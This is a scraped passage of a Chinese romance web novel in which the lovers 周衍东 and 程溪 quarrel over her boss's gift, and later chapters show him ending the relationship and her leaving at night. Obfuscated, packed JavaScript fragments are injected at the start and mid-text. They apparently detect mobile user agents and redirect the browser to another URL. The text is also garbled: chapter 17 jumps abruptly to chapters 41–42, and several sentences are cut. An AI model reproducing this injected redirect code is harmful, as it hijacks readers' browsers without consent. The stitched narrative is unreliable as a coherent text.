RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14136891|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他终于松口,程溪松一口气,板着脸警告:“那你得答应我,绝对不行偷摸跟着我过去!” 周衍东点头:“嗯。” 程溪下楼拿黑色书包,回卧室后,小心翼翼将礼盒放进包里,拉好拉链,悬着的心终于放下。 忙碌一整天,洗完澡吹干头发,程溪沾上枕头立马睡着。 周衍东也累得要命,可心里压着事,再累也不敢睡。 枕边人呼吸匀净,周衍东估摸程溪睡得正香,拿起她手机,给宋言发了条短信。 【宋总,睡了么?】 宋言回得快:【加班呢,怎么了?】 周衍东:【您在公司么?】 宋言:【在】 周衍东:【我有个事儿要说,现在过来找您】 宋言:【礼物的事儿?如果是这事儿,不用过来了,送出去的礼物没有收回的道理。】 周衍东:【不光是这个,还有别的事儿】 宋言:【要不咱们打个电话简单聊聊?】 周衍东:【还是面谈吧】 宋言:【行,你别过来了,我来找你】 周衍东:【不用】 宋言:【乖,听话】 周衍东看见这仨字儿,恶心得起鸡皮疙瘩,又想起自己也常对程溪这么说。 作为男朋友,这么说无可厚非,可作为老板,对有男朋友的女员工说这种话,真不是什么好东西,周衍东暗骂。 他删掉今晚和宋言的短信聊天,将程溪手机放回床头柜上。 半个小时后,估摸着宋言差不多快到了,周衍东蹑手蹑脚穿好衣服,从那个黑色书包里拿出礼袋,悄声下楼。 公寓楼前亮着路灯,昏暗的白色灯光洒在深蓝色礼袋上,周衍东盯得出神。 程溪戴上这条项链,一定特漂亮。 她皮肤白皙,亮晶晶的钻石和蓝宝石更能衬出她好看的肤色。 周衍东脑海中忽然冒出程溪穿婚纱,戴着这条项链的样子。 想象中的程溪太逼真了,美得令他震惊,直到那辆黑车停在面前,他才猛然回过神。 宋言降下车窗,扭头看向周衍东:“程溪让你来的?” 周衍东手伸进去,将礼袋放在副驾上。 “出来聊聊。”他说。 “车上聊吧。”宋言坐着不动。 僵持了一会儿,周衍东面无表情看着他。 “光脚的不怕穿鞋的,宋言,真以为我拿你没招儿?” 宋言忽地笑了,坐在驾驶位上点了根烟,吞吐几口烟圈,扭头淡淡打量他。 “周衍东,你爸都没能把我怎么着,你还是趁早洗洗睡吧。” 听完这话,周衍东非但不怒,反倒点着头淡笑,只说了一个字。 “行。” 他转身往楼里走,满脸阴云密布。 17.第 17 章 回到家,周衍东在客厅坐了许久。 他没开灯,静静坐在沙发上。 窗帘敞开着,月光洒落,他想起被程溪带回那个七平米出租屋的第一天。 那天晚上停了一会儿电,小屋里蒙上一层淡淡月光,跟今晚一样。 月光还是那月光,又已经不是那晚的月光。 就像他跟程溪,好像什么都没变,又好像有什么说不清道不明的东西,已经变了。 周衍东忽然很想抽烟。 以前没抽过,也从不想抽,今晚不知怎么,就是起了想抽烟的冲动。 他打算下去买包烟,学着抽一抽,走到门口又停住,想起程溪说过,她不喜欢抽烟的男人。 他回到沙发坐下,直到凌晨三点才起身上楼。 程溪睡得正香,周衍东打开台灯,调到最暗灯光,凝望她许久。 在最无能的年纪遇上程溪这样的姑娘,让周衍东觉得自己就是个无耻混蛋。 今晚好多次他都想哭,鼻子发酸,最后还是忍住了。 虽然父亲挺不是东西,可有些话十分在理。父亲曾经告诉过他,人过着,有时候就靠那一口心气儿,再苦再难,心气儿提着,人就不会垮,那股心气儿要是一泄,可能就再也支棱不起来了。 他想起印磊的爸爸。或许印叔叔当年,就是心气儿泄了,才落得个无法翻身的境地。 不能垮。绝不能垮。他头枕双臂,看着天花板,心里一遍一遍告诉自己。 程溪睡到自然醒,睁眼就发现周衍东正盯着自己看。 “醒这么早?”她刚醒时嗓子有些哑。 周衍东笑笑:“这都九点半了,还早?” 程溪揉着眼睛正要起身,被他抱紧怀里。 “昨天那晚面条……好吃么?”周衍东吻了吻她,柔声问。 程溪摇头:“我起床吃的时候都凉了!” 周衍东:“热热呗。” 程溪:“热了也不好吃,面都坨了。都怪你,不早点叫醒我,害我都迟到了。” 周衍东在她脸颊上啄一口:“宝宝,我错了……还有——” 程溪:“嗯?” 周衍东:“生日快乐。” 程溪不应声,淡淡看着他,看得他心里发慌。 “真的错了,以后再也不会忘记你生日。”他将她搂紧,头埋进她散发着香气的颈窝。 程溪积压了两天的委屈终于找到机会宣泄,撇了撇嘴,不打算忍了,在他怀里呜呜哭起来。 “你就压根没留意过人家生日是几号……周衍东,你一点都不在乎我!” “不在乎你,我这么拼命赚钱干嘛呀?我想发财,想让你过上好日子,你苦了二十来年了,哪忍心让你再跟着我受苦?” “说得好听!嘴上说出花来,还不是没给我买生日礼物?煮一碗面就想把我打发了,还煮得那么难吃!” “有这么难吃吗?我尝着还可以啊……” “难吃难吃!” “可难为咱家宝宝了,那面你后来倒了?” “没,我吃完了……”程溪眼泪汪汪看着他,“明年你要是再敢忘记我生日,再拿一碗破面糊弄我,我就——” 她停下来。 周衍东静静等着,眨了眨眼。 等了好一会儿她也不说。 周衍东急了:“你就怎么着?” 程溪:“我就不跟你好了!” 周衍东搂紧她细腰,语气恶狠狠:“你敢!” 程溪扬起下巴:“你看我敢不敢!” 周衍东:“你敢我也不同意,恋爱是两个人的事儿,你一个人说分手没用。” 程溪鼓着腮帮子气呼呼瞪他,模样着实可爱,他笑起来,捏捏她的脸:“还有,谁说我拿一碗面就打发你?昨天给你买礼物了。” 她瞬间睁大眼睛,喜出望外:“真的?!” 周衍东点头,转身拉开床头柜抽屉,拿出一个首饰盒,放到程溪手里。 程溪噌地坐起来,迫不及待打开盒子。 “哇,情侣对戒!”她立马将女款戴在右手中指上,抬起手掌看了又看。 周衍东也坐起来,搂着她,侧过脸吻了吻她。 “我送的这个,和宋言那项链比起来差远了。”他从盒子里拿出男款,塞进左手中指。 程溪“啧”一声,不耐烦瞥他。 “干嘛总说这个?宋总送的再贵再好,我也不要,你送的就不一样了,送什么我都喜欢!”她欢天喜地,目光盯着手上的戒指,挪不开眼。 她越是这样,周衍东越是满心愧疚,觉得对不起她,眼眶泛红,喉咙发堵,将她紧紧抱在怀里。 “程溪。”他哑着嗓子低声开口,“能给你的,我一定不遗余力给你。” “其实我们开开心心在一起就好啦,什么豪宅豪车珠宝名牌那些,对我来说不重要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14151471|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我知道,可我就想给你,我要让你跟着我,享尽荣华富贵。” 程溪笑了笑,捧起他的脸,发现这张英俊面庞上,挂着泪。 昨晚彻夜心痛,周衍东愣是一滴泪没掉,这当口忽然绷不住了,心里被愧疚塞得满满当当。 “跟你商量个事儿。”他低头,不想让她看自己流泪。 “嗯?” “我想开网店。” “可以啊,卖什么?” 周衍东吻上她额头:“当然是卖女装。” 程溪想了想,握住他的手,温柔说道:“要不你先攒攒钱,攒够了,就去做你真正想做的事,不用着急开店,反正现在摆摊赚得也很多。” 她感受得到,周衍东的志向不在卖衣服上,这个买卖能让他轻松赚钱,却并不能使他快乐,更多的,是为生活所迫。 周衍东摇头:“网店可比摆摊儿赚得多多了,有些简直是纯暴利。” 程溪微笑着默默他脸颊:“我对做生意这块一窍不通,反正你自己决定,无论做什么,我都相信你,支持你。” 周衍东会心一笑,沉默片刻,小声开口:“还有个事儿……” 程溪:“啊?” 周衍东:“昨晚上我帮你把项链还给宋言了。” 程溪:“啊!!!” 她猛地挣开他怀抱。 周衍东赶忙又将她抱住,飞快说完昨晚的“做案过程”,再三发誓,自己和宋言完全没起任何冲突,交流过程简短而礼貌。 程溪很想说些什么,又像是被什么无形的东西堵住喉咙,好半天说不出话来,最后只是叹了口气,笑得无奈。 “反正我的想法不重要,我说什么都没有,以后你想怎么着就怎么着吧。”她低头,看向手上那枚戒指,眼里雾蒙蒙的,什么也看不清。 周衍东抬起她的手,亲吻手背:“怎么会?你的想法当然重要,只是——” 程溪摇着头打断:“别说了,我饿了,下去买小笼包吧,今天想吃这个。” 周衍东赶忙穿好衣服下楼买早餐。 买完两人份的,他拎着袋子往回走,半路接到程溪电话。 “回来了吗?”她问。 周衍东:“嗯,还要买什么?” 程溪不作声。 他催道:“马上进楼里了,快说。” 又沉默片刻,程溪小声开口:“买个验孕棒回来。” 40-50 第41章 咱俩完了。 周衍东连着好几天没回公寓。 母亲电话打过来时, 他估摸着是来质问他,心里烦闷,不想接,那边一遍又一遍地打, 似乎不达目的不罢休, 他心想, 要是一直不接,以母亲的性格, 没准过会儿就直接找来公司。 这么一想,到底还是接了。 “你几天没回家了?” 果不其然, 那边开门见山就问。 周衍东揣着明白装糊涂:“哟,那挺久了, 得有小半个月了吧。” 尹岚:“别给我装!我是问你几天没回公寓了?” 周衍东避重就轻:“那您直接问几天没回公寓不就得了。” 尹岚反问:“怎么着,公寓那边儿就不是你家了?” 周衍东知道她什么意思,吊儿郎当应道:“是是是, 您说是就是。” 尹岚沉默片刻,叹气:“东子, 妈妈觉得你变了。” 周衍东轻笑一声:“瞧您这话说得, 谁不变啊?什么人,什么事儿是永恒不变的?” 尹岚:“我不是要跟你扯什么哲学问题, 就是觉着, 你——” 她停下来, 提一口气, 过了几秒又是一声叹息。 周衍东:“您有话就直说,不用藏着掖着。” 他都这么说了,尹岚便直言道:“妈妈觉得你对程溪有些变心了,现在的你, 不像以前那么爱她了。” 这话让周衍东陷入沉默。 原本他下意识想反驳,话到了嘴边,又发现似乎母亲说的也没错。 他对程溪的爱,已经随着时间的推移慢慢减淡。 然而,他并不认为这是因为自己对她变了心。 “您跟周庆显结婚这么些年,直到今天,还跟第一年那么爱他啊?” 自打程溪流产后,周衍东就没再管父亲叫过“爸”,即便父母家,也只当是去看母亲,与父亲碰面也当他是空气,正眼都不瞧一下,更别说跟他说话了。 尹岚被这话问得愣住。 乍一想,她挑不出这话的错,可仔细一琢磨,又感受到了自己和他的差别。 “话不能这么说。我意思是,你对程溪越来越怠慢了。” 周衍东倒是没反驳: 尹岚:“没,她哪会跟我抱怨啊,没回我找她,她都是说你好话。今儿我上公寓看她去了,她面色不太好,说是昨晚没睡好,我问是不是被你吵着了,她说不是,你昨晚没回来。我瞧着她表情不对,问你俩是不是吵架了,她摇摇头,我一看就知道在撒谎,又问你是不是好些天没回去,她不点头,不摇头,也不作声。东子,你现在越来越过分了。” 周衍东冷冷哼一声:“她确实没跟您抱怨,摆出副苦情相,就等着您问呢。” 尹岚气得骂道:“周衍东,你可真是不像话!她为了你绕大半个祖国,从南到北来京州,在这边她最亲的人只有你,可你呢?你是怎么对她的?你还记不记得当初自己怎么跟她承诺的?” 母亲骂得句句在理,周衍东无法反驳,却也不愿低头认错。 他拿起办公桌上的打火机把玩,一会儿按下,一会儿松开,盯着燃了又灭的火苗发呆。 尹岚继续说道:“人家二十五都不到,多年轻啊!虽说你条件是顶好,可她要是不找你,找个条件差不多的,知冷知热的,俩人一块儿奋斗,日子也能过得很不错,还比跟着你舒心很多!” 周衍东啪地将打火机扔回桌上,冷笑:“您以前可不是这么说的啊。您以前说,她能跟着我,是她八辈子修来的福分,要是跟我分了,可再找不着比我更好的男人。” 尹岚提高分贝反驳:“那都多久以前了?那会儿我才刚认识她,对她不够了解,后来慢慢了解了,觉着这姑娘真不错,人家值得被好好对待。” 周衍东:“我一个月给她二十万,亏待她了吗?现在公司是步入正轨了,可也还没站稳脚跟,离顶峰还早着呢,要我每个月给她大几百万,实不相瞒,我还真拿不出来。可每个月二十万也不少吧?” 尹岚:“这不是钱的事儿,这——” 周衍东:“那是什么事儿?有什么事儿是钱解决不了的?她跟着我不图钱,我信,可我宁愿她图钱。谈感情,很多事儿扯不明白,谈钱就简单多了。” 尹岚:“可她要是只图你钱,当初你会那么喜欢她吗?” 周衍东冷冷笑道:“呵,在一起久了,说实话,互相也没什么新鲜感了,我对她肯定是专一的,可你要我像以前那样,傻不愣登为了爱情什么事儿都做得出来,那还真不可能。” 尹岚陷入沉默,好一会儿没作声。 周衍东又开口:“再说了,要说变心,是她先变心的吧?以前我俩说好的,孩子没了,等她养好身体再要一个,结果呢?成天防着我,生怕再怀上,您说说,我俩之间到底是谁先变心?” 尹岚能够理解程溪,替她解释道:“她就是太没安全感,主要是——” 周衍东不耐烦打断:“她没安全感,我就有么?她不愿意给我生孩子,我心里能好受?我不得多心,想着她不愿意生是为了方便以后跟我断得干净?我心里成天压着这块儿石头,能踏实么?” 尹岚:“男女不一样,女人——” 周衍东再次打断:“怎么不一样?女人是人,男人就不是人?我对她还不够好,她跟我还不够平等?” 尹岚被他质问烦了,怒道:“行行行,懒得管你这些破事儿,当我多闲似的!” 这回换她直接挂断电话。 周衍东手机往桌上一扔,冷冷笑了笑,拿起一份文件过目。 晚上没应酬,到了下班时间他也没走,在公司加班到九点半才离开,上了车,吩咐司机这次往公寓开。 前几天都是睡另一套房子,离公司更近,比公寓更大,兴许是跟程溪住惯了,冷不定自个儿住,觉得有些冷清孤独。 周衍东到公寓时已经十点,方姨正在客厅拖最后一遍地,见他回来了,脸上欣喜藏不住。 “少爷回来啦!您好些天没回来,程小姐都说想您了呢。”方姨笑道。 周衍东挑了挑眉:“她真这么说的?” 他可不信。 谎话被他犀利的眼神戳穿,方姨笑容中露出一丝尴尬,一手扶着拖把,一手拢了拢头发。 “她……她虽然不好意思明说,可我知道,就是这个意思!” 周衍东默不作声往楼上走。 虽然知道程溪不会跟方姨说那种话,可听到方姨亲口否认,他心里多少还是有些不高兴。 周衍东推开主卧门时,程溪正从浴室出来,脸上敷着面膜。 几天没见,他不想一回家就吵架,压下心里那点不快,嬉皮笑脸跟她打招呼:“哟,美女敷面膜呢?” 程溪“嗯”一声,上床靠着床头看手机。 他走过去,揉了揉她脑袋:“咱家仙女多美啊,不需要敷面膜皮肤也水灵。” 程溪又“嗯”一声,头都没抬,眼睛仍盯着手机。 他俯身凑近看她屏幕:“看新闻啊?” 程溪:“嗯。” 这一声“嗯”,比前两声更轻更短,敷衍意味更甚。 周衍东绷不住了,挂着笑的脸瞬间沉下来,声音也冷了几分:“好些天没见,你就没什么想跟我说的?” 程溪这才放下手机,扭头看他。 她的脸在面膜之下,看不出真实表情,周衍东只能从她眼里看到一丝淡漠。 “你想聊什么?”她问,语气冷静而平常。 周衍东耸了耸肩:“随便,聊什么都行,就——咱俩说说话呗。” 程溪点头,想了想,问:“晚饭吃了么?” 周衍东:“吃了。” 程溪:“吃的什么?” 周衍东:“公司后厨做的,一荤一素,我晚上都吃得少。” 程溪:“今天没应酬?” 周衍东摇头。 程溪张了张嘴,却没出声。 周衍东:“嗯?” 程溪闭上嘴,默默叹息一声。 周衍东微微侧头,问:“想说什么?” 程溪避开他目光,垂眸盯着自己放在腿上的双手:“不知道该说什么。” 周衍东明白了,冷笑:“意思是,跟我没有共同话题了呗?” 程溪不作声,他当她是默认。 “程溪,你到底在闹什么?”他皱着眉瞧她,满脸尽是无奈与不解。 程溪原本没什么情绪,听到这话,气得笑了。 “周衍东,是我在闹吗?几天不回家的人是谁?” 他反问:“家?你觉得这里像家么?” 程溪:“当初是谁告诉我,只要有我在身边,哪里都是家?” 周衍东现在最烦听人提从前,白天被母亲说一通,回来还要被她说一通,脾气立马上来,在空中挥了挥手,不耐烦地转过头看别处。 “少他妈跟我提从前。” 程溪抬眸看向他,眼里瞬间蓄满泪水:“所以你现在装都懒得装了,是么?” 周衍东扭过脸来,面无表情看着她满是酸楚的面孔:“你不也懒得装了么?之前那么乖顺,还以为你真的长大了,成熟了,现在怎么这样啊,装不下去了是么?” 程溪欲言又止,深吸一口气,沉默片刻,正要开口,被周衍东抢了先。 “得,用不着你跟我提这茬,不就是分手么?谁还离不开谁啊?就这么地吧,程溪,咱俩完了。” 他拿起外套夺门而出,狠狠将门摔出一声巨响。 第42章 她走了。 楼上的摔门声也吓到了楼下的方姨。 方姨在厕所清理完拖把, 听见楼上传来的响声,迅速摘掉橡胶手套,洗了洗手,小跑着出来。 “少爷, 这么晚了, 您要去哪儿?”见周衍东往门口走, 方姨赶紧追过去。 周衍东没停步,走到门口, 边换鞋边说:“我出去住一阵儿,你照顾好她。” 方姨拉住周衍东隔壁, 情急之下脱口而出叫他小名:“东子,你跟程小姐又吵起来了?” “我俩分了。”周衍东原本不想说出来, 可他知道,不说出来,方姨就会一直不放他走, 追着他问。毕竟方姨也很喜欢程溪,希望他俩好好过日子。 他俩以前虽然也吵架, 但基本上没闹大过, 方姨只当这次两个人都是在赌气,语重心长劝起来。 方姨了解他,见他这副模样,知道他正火着呢,非要跟程溪较劲,分出个胜负来。 “好好好,我知道了,不是气话。甭管怎么着,今晚先好好睡觉,休息好了脑子会更清醒。明儿一定回来吃饭,方姨全做你最爱吃的菜,明儿一定回来啊!” 方姨松开手,再三叮嘱他明天得回来。夫妻或者情侣之间,吵架正常,闹分手也正常,可双方不能经常不见面,只要他能常回来,自己一定努力把他俩都劝好,方姨心里想。 周衍东没答应,也没拒绝,默不作声打开大门,迈出去,关门时头都没回。 方姨看看面前紧闭的大门,又仰脸看看楼上主卧紧闭的房门,皱着眉头,发出好长一声叹息。 他来到办公室,身子陷进皮椅里,靠着椅背试图放松,连续深呼吸好几次,依然没法彻底放松下来。 周衍东掏出手机,想打电话给助理,让他泡杯咖啡送过来,看见屏幕上的时间,才意识到人家早已下班,已经很晚了。 办公室里没有咖啡机——他不喜欢在办公区域放这个,关于饮用器具,放套茶具和烧茶设备就已足够,再多个咖啡机就显得花里胡哨了。 周衍东来到六楼公共茶水间,这里有多种茶包和咖啡,员工们随饮随取。 茶水间开着,灯也亮着,偶尔有人进来续杯,很快又离开,回到工位熬夜奋斗。 周衍东来到咖啡机前,准备给自己来一杯冰美式,身后忽然传来一个弱弱的声音。 “周总好。” 他回过头,看见一张陌生面孔。 站在她身后的是位年轻姑娘,面容清秀,身材瘦小,脸上神情怯怯的,整个人透露着一种弱者气质。 真不知道HR怎么挑的人,周衍东原本就心烦,现在看见这个豆芽菜似的蔫了吧唧的员工,越加烦躁。 周衍东知道,自己不该迁怒于人,所以即便此刻再不爽,也只是冷着脸浅浅颔首,算作对她打招呼的回应。 “周总,您想喝什么?我来给您泡。”这姑娘笑了笑,问道。 她笑得并不自然,周衍东一眼便看出这是个硬挤出来的笑,也从她的眼神发现了恐惧和胆怯。 “不用。”他摇头,拒绝得冷漠干脆。 周衍东等咖啡时,女员工在旁边等着。 见她手上拿着一袋茶叶一动不动杵在原地,周衍东问:“烧水壶坏了?” 女员工连忙摇头:“没有没有,我……我等您先泡完……” 周衍东:“你要泡咖啡?” 女员工依然摇头,此时脸已经红到了脖子根:“我泡茶……” 周衍东:“那你泡去,杵着干嘛。” 女员工声音越来越小:“等您走了我再泡。” 周衍东心情糟糕透顶,听到这没逻辑的话更是恼火,板着脸问:“我泡咖啡碍着你泡茶了?” 女员工飞快摇头摆手,脑袋和手几乎晃出残影:“没有没有没有!我、我就是等着——其实我就是、就是……” 她意识到自己语无伦次,停下来,深吸一口气,目光回避片刻才又看向周衍东。 “周总,我就是看见您在这儿,有些紧张……” 周衍东眉头皱得更深:“紧张?” 女员工点点头:“还有些——” 周衍东:“什么?有话直说,别磨叽。” 女员工:“还有些害怕……” 害怕。周衍东在心里默默说了一遍这个词儿。 他回想起近来这些日子,除了这个女员工,好像别人也都挺怕他,甚至烦他的。 再回想一番,他发现事业上升的越快,他性子就越燥,脾气也越爆。 周衍东把这归咎于“人忙了耐心就变得有限了”。 “周总,您要不要试试我们老家这个茶?很好喝,很有名的。”女员工见他脸色阴沉,怕得罪他,也有那么一些讨好的意味,一手拎起茶袋,一手指着包装上的两个字。 黔茶。 周衍东:“你老家在黔州?” 女员工点头:“嗯,不过是在黔州一个十八线小城市。” 周衍东:“黔州哪里?” 女员工说了个他知道但很少听到的地名,那里跟程溪老家离得似乎挺近。 “黔州到京州,你还跑挺远的。”周衍东说。 女员工解释道:“我男朋友调到京州工作,所以我就跟着过来了。” 周衍东沉默。 自己和程溪差不多也是这种情况。 周衍东对别人的感情生活没有任何兴趣,端着咖啡正要离开,又听她开口:“不过来这里没多久,他就跟我分手了。” “哦。”周衍东冷淡应道,明知不该对号入座,可心里就是不太舒服。 他走到茶水间门口,忽然想起什么,扭头看着还愣在原地的女员工,问:“你是贺宇那个部门的吧?跟着张景辉他们组负责黔州那个助农项目?” 女员工点点头。 周衍东明白人事为什么留她了,毕竟本地人更了解当地情况。 这个项目之前搁置过一段时间,原来那位高薪聘请的项目组组长被对家挖了过去,张景辉临时受命当组长,能力却十分有限。 “你最近工作上有什么特别的安排吗?”周衍东目光扫过女员工脖子上挂的工作牌,得知她叫林安玥。 “特别的安排?”林安玥想了想,摇头,“好像没有……每天坐班,不算特别吧……” “明天我会安排张景辉去黔州出差,跟那边的区域负责人对接一下,尽量把线下实体和整条产业链都做起来。他这人脑子不够灵光,在那又人生地不熟的,不了解风土民情,你跟他一块儿去。” 突如其来的出差安排让林安玥懵了片刻,正要开口,又听周衍东说道:“你俩看起来脑子都不大灵光,还得加个人。” 周衍东上下打量林安玥,脑海里浮现张景辉那文弱书生样儿,沉思片刻,说:“贺宇带你俩去,他挺彪悍。” 林安玥微微摇头:“其实我们黔州人民挺好的,很多地方的农民都淳朴友善,没您想得那么难对付。” 周衍东瞥她一眼:“我是怕你去了穷乡僻壤的地方出事儿,张景辉可保护不了你,贺宇那身腱子肉估计还行。你要出什么事儿就是工伤,公司得赔不少钱。” 林安玥脸上刚褪下去的绯色又浮了上来。 周衍东以为她脸这么红,纯粹是因为自己误会了他而感到羞愧。 他回到办公室,一坐下就掏出手机点开。 尽管极不愿意承认,可他还是知道自己在做什么。 他在等程溪主动联系自己。 然而,短信、来电记录、社交平台,都没有程溪找他的痕迹。 他放下手机,不到三分钟便再次拿起,短信、来电记录……统统再检查一遍,依然跟三分钟前一样。 他把手机从静音模式调成震动,等了一会儿,从震动调成铃声,然后逼着自己不去看它,埋头工作,可没过几分钟,又开始走神。 程溪应该是睡了,他抬头看一眼墙上的钟,心想。 就是因为睡了,才没有主动找他。 可这回他都主动提分手了,说得还这么绝,她怎么可能睡得着? 即便她已经不爱他,在这种情况下,是个正常人都不会完全不放在心上安稳入睡的。 周衍东不知道程溪能否安心入睡,他只知道,自己压根没法安心工作。 一杯意式浓咖啡确实让他提起了精神,提神的同时,他的心也浮躁得不像话。 手机又放下的行为,使他无法自欺欺人。 周衍东第无数次埋下头来看资料,提笔刚要划重点,办公室门被叩响。 叩门声很轻,断断续续的,敲两下,停一会儿,弄得周衍东更加心烦,皱紧眉头扬声呵道:“进来!” 门被推开,外面的人走进来。 周衍东没想到会是林安玥。 他愣了片刻,眉头依然紧皱,歪着脑袋瞧她。 “周总,我想请问一下,明天打算安排我和宇哥他们几点出发呢?”林安玥走到距离办公桌两米开外处停下脚步。 周衍东:“尽量中午之前出发。” 林安玥点点头:“好的。” 周衍东低头看着桌上资料:“以后这种事不用跑我办公室来问,打电话就行。” 林安玥:“抱歉周总,我知道了。主要是不知道您办公室电话号码,也没有您手机号。” 周衍东头都没抬,敷衍回应:“嗯,下次让王秘书转达。” 林安玥:“好的,周总。” 几秒过后,周衍东抬眸,刚展开的眉头又皱了起来。 “怎么着,要留在我办公室过年啊?”他一肚子火,脾气随时可能被引爆,理智和教养让他压制住了火气,没有迁怒于人,但此刻的表情和语气,已经不耐烦到了极点。 林安玥被他吓到,不禁后退一步,缩了缩脖子,支支吾吾:“那个……我、我其实还没有转正,现在还是试用期,很怕这次出差做不好本职工作不说,还会托宇哥和辉哥后腿……所以,我想提前找您做做功课……周总,您能跟我说说这次出差我的主要任务,还有到了那边的注意事项吗?” 周衍东脸上的不悦更深:“你多大?” 林安玥老实回答:“二十二岁。” 周衍东:“大学刚毕业?” 林安玥点头。 周衍东也点了点头:“你要是工作个一两年,就不会做出这么冒昧的举动了。” 林安玥被他说得羞愧不已,头瞬间埋下来,咬着唇不作声,内心挣扎一小会儿,挤出三个字:“对不起……” 周衍东着实烦她,也确实怕她这次出差搞砸事情。黔州的项目还是挺重要的,对家用了各种法子从他这里挖去好几个得力助手,现在公司的主心骨要么这阵子必须留在京州,要么都在全国各地出差,能派去黔州的,也没几个,而这些人里,又没有像林安玥这样的本地人。 周衍东叹了口气,在桌面和抽屉里找了又找,没找到这个项目的计划书,便让林安玥自己打印一份,然后按照计划书,以及他所了解的那边的情况,逐一给她讲。 零点刚过,周衍东手机忽然响了,他正拿着笔和计划书边讲边划重点,听见铃声,瞬间激动地抬手去拿手机,胳膊抬得太猛,手没协调好,半空中一松,钢笔被甩了出去。 他没管钢笔,拿起手机赶紧接通,压根没仔细看屏幕上的来电备注。 “东子,你在哪?”那边的人问道,语气沉重。 听见声音的刹那,周衍东方才猛然提起的心脏倏地又狠狠往下坠落。 他不作声,那头追问:“你到底在哪?” 他依然不答,直接挂断,还把手机关了。 肯定是方姨那个碎嘴子,把他和程溪闹分手的事儿告诉母亲,母亲才打电话找他,想要劝和,周衍东心想。 即便现在没跟母亲通话,周衍东仿佛也能听见她在耳边叨叨个不停,心烦得要命。 他晃了晃脑袋,长叹一口气,抬头看见林安玥已经将钢笔捡起来,伸手递给他。 周衍东道一声谢,接过钢笔,发现这支笔前段已经摔裂了。 这去年生日那天,程溪送他的礼物。 他想不明白,这支笔材质明明很好,自己刚才明明没有用力摔,怎么就裂了呢? 他盯着这条裂缝,恍然间产生一种幻觉,仿佛看到了自己和程溪之间,那道将曾经亲密无间的他们分隔开来的裂痕。 裂痕越来越宽,越来越长,他和程溪,也越来越远。 突兀的电话铃声打破沉默,周衍东回过神,拿起听筒。 “东子,你快——” 尹岚话没说完,周衍东手掌往额头上一拍,语气充满不耐:“妈,您有完没完?老这样有意思么?程溪又在家躲房间里哭,方姨见着了,劝也劝不好,就打电话给您,您又打电话给我,想劝劝我,让我回去劝程溪,是么?这套流程我都能背下来了!” 尹岚插不上嘴,只能等他埋怨完,听他那边没声了,才开口说道:“也不光是要劝你,就是——” 这会儿周衍东耐性消磨殆尽,听见母亲声音就烦:“时候不早了,您赶紧歇着吧,凌晨了都!昨儿不是说过,再也不管我那些破事儿了么?” 尹岚头疼又心堵,骂他的话到了嘴边,又觉得现在骂什么都没有意义,长长一声叹息,语气无奈至极:“我就是想管,以后也管不了了。东子,程溪收拾东西走了。” 周衍东蓦地愣住,眉头忽皱,心脏猛然提起:“走了?” 尹岚:“对,大晚上的,一个人走了。” 周衍东一只手紧紧攥住电话听筒,另一只手,紧紧攥住程溪送的那支钢笔。 那支已经摔出裂痕的钢笔。 他倒抽一口气,不知怎么,话都说不利索了:“她怎么——怎么……大晚上的,怎么能让她一个人出门?方姨呢?” 尹岚:“那会儿已经很晚了,方姨都睡下了,迷迷糊糊听见外面关门声,反应过来是程溪出门,赶紧上去看,程溪果然不在房间! “方姨追出去时,估计她都到楼下了,方姨穿着拖鞋本着电梯跑,眼看着快进电梯,结果拖鞋飞出去,自个儿摔了一跤,疼得压根跑不动,这才给我打电话。 “我赶紧带着司机过去,让司机送方姨去医院检查,然后我去找物业调监控,查到程溪上了一辆出租车,可监控那个角度,压根看不清车牌号!” 周衍东心急如焚,却仍选择自我安慰:“没准儿她只是,只是待在屋里太闷了,想去散散心……” 尹岚:“散什么心啊?你见过谁大晚上拖着行李箱散心的?方姨告诉我,你俩闹分手呢,你老实交代,是不是你这张狗嘴说了什么让人寒心的话,逼得人家大半夜拖箱子离开?” 周衍东仰头,望着天花板沉默。 尹岚焦急追问:“问你话呢!从小到大,除了你爸,谁不是疼着你惯着你,少爷脾气本来就大,事业做起来之后,脾气更是冲,难得见你给个好脸,程溪估计忍你忍得够久了。东子,你是不是骂她了?” 周衍东:“我跟她提了分手。” 尹岚惊讶:“你提的分手?” 周衍东:“对。我俩确实又闹别扭了,我心里烦,那会儿也不想再忍着让着,就跟她说我俩完了。” 尹岚:“哎不是,这么久以来,你忍什么,让什么了?都是人家程溪在忍在让!” 周衍东心里憋屈,觉得自己的委屈没人理解,又不知该怎么为自己辩解,沉默片刻,问:“她走多久了?” 尹岚:“我刚从方姨那儿知道她走了,就赶紧打给你,你不接就算了,还关机,我只好打公司电话。” 周衍东算了算时间,距离现在没隔多久,就算坐车,也不会离公寓很远。可问题是,压根不知道她要去哪儿。 是去往火车站还是机场,又或者只是随便找家酒店先住着? 京州好几个火车站,机场也有两个,酒店更是数不胜数,该往哪里找? 就算去派出所报失踪,时间太短,警察压根不会立案。 周衍东没有头绪,心如乱麻,沉默好一会儿,问母亲:“您现在在哪儿?” 尹岚:“我在公寓,这会正在你们主卧,看了下柜子和抽屉,程溪很多东西都没带走,首饰盒里的首饰估计一件也没带,行李箱里只装了几件衣服和洗漱用品。” ,不知该说什么好。 周衍东又问:“您给她打过电话么?” 尹岚:“净问些废话!我能不给她打么?她跟你一样,关机了,一开始我就没打通!” 周衍东:“我试试。” 他挂断电话,抱着一丝期望按下程溪手机号码——那个他早已倒背如流的号码。 机械的女声响起,戳破了他这最后一丝幻想。 周衍东放下听筒,抬眸看见林安玥,才想起她一直在这儿。 